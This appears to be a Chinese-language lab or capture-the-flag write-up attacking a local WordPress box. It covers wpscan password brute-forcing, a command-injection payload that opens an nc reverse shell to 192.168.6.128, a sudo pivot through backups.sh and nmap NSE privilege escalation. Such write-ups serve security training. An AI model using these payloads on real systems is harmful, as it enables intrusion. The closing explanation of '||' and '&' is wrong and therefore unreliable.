信息收集
扫描靶机ip和端口
靶机ip为192.168.6.150,端口为80,22(有可能会用到ssh远程连接)
扫描端口是否有什么信息,分别扫描80和22端口
扫描目录在扫描端口的时候发现地址无法解析,所以需要加载hosts
登录网站发现是wordpress框架因此可以用wpscan来进行扫描
扫描目录
通过扫描目录看是否有什么可用信息,dirsearch -u http://192.168.6.150;得到了登录界面
因为是wordpress,所以用可以用wpscan进行用户名的扫描,得到如下用户名
将用户名存在一个txt中,用kali自带的cewl生产密码字典cewl -w passwd.txt http://wordy,但是这里cewl的字典能力好像不够所以需要一个更强大的字典,根据提示cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt,用这个kali自带的字典。
输入命令获取密码:wpscan --url http://wordy -U users.txt -P passwd.txt,得到了一个用户名和密码mark,helpdesk01
漏洞扫描
wpscan可以扫描插件漏洞,这里用searchsploit扫描网站版本没有可以用的漏洞,然后扫描activity monitor插件发现了一个html
点进去看这个html的内容发现,在activity monitor的tool可能存在注入点,然后这个网站本身也可以直接抓包来改包按照下图的方式
把aaa随便开个东西然后用关系符后面跟反弹shell的命令
反弹shell
- aaa|nc -e /bin/sh 192.168.6.128 4444;python -c 'import pty;pty.spawn("/bin/bash")'
- 翻找了半天在stuff中发现了graham的密码,接下来使用ssh远程
- 看到里面有个压缩包想到的应该是打开它,但是执行不了vim文件,如果想写入东西可以考虑用echo
- echo '/bin/bash' >> backups.sh;这个命令可以赋予权限
- sudo -u jens ./backups.sh #-u用户以jens的身份来执行脚本
- 查看jens的权限,可以免密打开下图的文件
提权
- echo 'os.execute("/bin/bash")'>get_shell.nse;利用nmap提权写一个执行文件让nmap来执行
- sudo nmap --script=/home/jens/get_shell.nse;执行脚本
总结
常见的命令连接符有(|,&&,||这三个连接符都是Windows系统与Linux系统共有的,而&是Windows系统特有,;是Linux系统特有的)
A|B:无论执行的A命令是否正确,B命令都执行
A&&B:只有在A命令成功执行的前提下,B命令才可以执行
A||B:只有在A命令没有执行失败的前提下,B命令才可以执行
A&B:不管A是否执行成功,B命令都会执行
A;B:不管A是否执行成功,B命令都会执行
- 这里用到了nmap提权
- 关于找漏洞可以根据框架来进行搜索
- 当vim无法编辑文件的时候可以利用echo将命令写入文件